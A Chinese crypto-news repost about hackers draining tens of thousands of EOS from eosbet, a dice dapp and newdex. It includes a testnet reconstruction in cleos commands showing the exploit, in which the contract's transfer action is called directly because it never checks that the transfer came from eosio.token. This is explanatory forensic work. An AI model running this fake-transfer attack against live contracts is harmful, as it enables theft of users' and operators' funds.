热点资讯

三大EOS DAPP被黑客攻破薅走数万EOS

昨天,日收万金的EOS大赌场:eosbet 被黑客攻击了——黑客aabbccddeefg 利用合约漏洞,零成本薅走 bet 奖池约 5万EOS。

EOS大赌场:eosbet
eosbet

官方紧急发表声明,并关闭了游戏:

eosbet官方紧急关闭了游戏
eosbet官方紧急关闭了游戏

eosbet刚被攻击关停,排名其后的dice游戏被同一个黑客再次攻破,使用同样的攻击手段, 转走大量EOS。。。。去中心化交易所 newdex也被用同样的手段攻破。。。。。EOS Dapp前10中有3个被黑客成功攻破。。。。一下子,开发者都砸开了,难道是eos公链存在什么妖蛾子?

不过很快,币乎的一个技术大牛找到了问题的原因——仅仅因为缺少对代码调用是否来源于“eosio.token” 的判断!我勒个去,这些开发者难道是零时工吗?这样低级的错误都能犯!

有大牛还原了黑客攻击流程(币乎作者cj1991)

在测试网,部署被攻击时的代码,实现一遍攻击方式,看看是否有效。

github代码:https://github.com/ganjingcun/bet-death-causes

这些代码是9月12号前 用get code 拉下来的。所以,我只是还原了作案现场。事情不是我干的。是大神v5。

cleos -u http://api1.eosasia.one get code -a betdice.abi -c betdice.wast eosbetdice11
cleos -u http://api1.eosasia.one get code -a safetransfer.abi -c safetransfer.wast safetransfer

// create account
cleos create account eosio eosbetdice11 EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi
cleos create account eosio safetransfer EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi
cleos create account eosio eosbetcasino EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi

// set code
cleos set code eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.wast
cleos set abi eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.abi

cleos set code safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.wast
cleos set abi safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.abi

// set permission
cleos set account permission eosbetdice11 active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p eosbetdice11@owner
cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”safetransfer”,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner
cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner

cleos set account permission eosbetcasino random ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[]}’ owner -p eosbetcasino@owner

// initcontract
cleos push action eosbetdice11 initcontract ‘{“randomness_key”:”EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”}’ -p eosbetcasino

// test
cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon

// result
cleos get actions joetothemoon

cleos get table eosbetdice11 eosbetdice11 activebets

// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。
cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random

 

步骤稍微讲解下,就是在测试网,创建相关账号,然后部署合约,然后执行攻击手段,然后开奖,成功证明,确实是 缺少了 判断 “eosio.token” 引起的。先执行 :

// test
cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon

也就是直接调用 合约的 tranfer :发现执行成功。获取等待开奖的下注记录:

cleos get table eosbetdice11 eosbetdice11 activebets

由于bet 的开奖方式,是先生成下注记录,然后在用一个号来开奖,所以,我们手动一步步还原的过程中,下注记录是存在的,接下来,就是调用开奖了:获取bet_id, 然后用 eosbetcasino 开奖

// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。
cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random

这里的开奖方式注意下,需要传入一个签名。请自己去生成。从直接调用 tansfer ,到生成下注记录,再到调用开奖。结论已经很明显了。根本不存在什么毁灭性bug,只是有一个程序员要祭天了而已..

 

文章来自: CocosBCX投资者社区 (原文链接

访问资讯分类,查看更多有价值的 区块链游戏 资讯。

发表评论

电子邮件地址不会被公开。 必填项已用*标注